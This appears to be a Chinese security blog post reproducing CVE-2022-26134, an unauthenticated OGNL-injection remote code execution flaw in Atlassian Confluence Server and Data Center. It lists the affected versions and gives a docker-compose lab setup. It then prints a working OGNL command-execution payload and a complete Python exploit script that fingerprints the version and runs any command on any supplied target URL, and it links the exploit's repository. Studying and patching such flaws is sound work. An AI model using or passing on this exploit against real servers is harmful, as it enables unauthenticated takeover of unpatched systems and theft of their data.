Atlassian Confluence 远程代码执行/CVE-2022-26134复现，附EXP-XSS博客

0x01 漏洞描述

近日，Atlassian官方发布了Confluence Server和Data Center OGNL 注入漏洞（CVE-2022-26134）的安全公告。该漏洞的CVSS评分为10分，目前漏洞细节与PoC已被公开披露，且被检测到存在在野利用。

Atlassian Confluence是Atlassian公司出品的专业wiki程序。攻击者可利用漏洞在未经身份验证的情况下，远程构造OGNL表达式进行注入，在Confluence Server或Data Center上执行任意代码。请相关用户尽快自检并采取措施进行防护。

0x02 影响范围

Atlassian Confluence Server and Data Center 用于团队成员之间的协作和知识共享，主要部署在内网，所以互联网上分布较少，主要集中在美国、德国和荷兰。

目前受影响的 Atlassian Confluence Server and Data Center 版本：

Atlassian Confluence Server and Data Center < 7.4.17

7.5.0 ≤ Atlassian Confluence Server and Data Center < 7.13.7

7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3

7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2

7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4

7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4

7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1

0x03 漏洞环境搭建

新建一个docker-compose.yml，内容如下：

version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

执行如下命令启动一个Confluence Server 7.13.6：


docker-compose up -d

环境启动后，访问http://your-ip:8090会进入安装引导，会要求填写license key。点击“Get an evaluation license”，去Atlassian官方申请一个Confluence Server的测试证书

提示需要license key生成license key

Organization随便填一个：

生成证书

生成license key

复制license key下一步

填写数据库信息的页面，PostgreSQL数据库地址为db，数据库名称confluence，用户名密码均为postgres。

完了之后按照以下步骤安装设置。

选Example Site

同样选择第一项

配置账号信息

搭建成功

0x04 漏洞复现

漏洞利用发送如下请求即可执行任意命令，并在HTTP返回头中获取执行结果：

OGNL表达式为:

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

0x05 EXP


import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()

def check(host):

 r = requests.get(host+"/login.action", verify=False)
 if(r.status_code == 200):
  filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
  if(len(filter_version)>=1):
   version = filter_version[0].split("'>")[1].split('</')[0]
   return version
  else:
   return False
 else:
  return host
def exploit(host, command):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': '*/*',
    }
    r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
    if(r.status_code == 302):
        return r.headers['X-Cmd-Response']
    else:
        return False

if(len(sys.argv) < 3):
 print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
 print("ex: python3 " + sys.argv[0] + " https://target.com id")

else:
 target = sys.argv[1]
 cmd = sys.argv[2]
 version = check(target)
 print("============ GET Confluence Version ============")
 if(version):
  print("Version: " + version)
 else:
  print("Version: Not Found")
 print(exploit(target, cmd))

exp地址：https://github.com/xsxtw/CVE-2022-26134

文章版权归作者所有，未经允许请勿转载。

THE END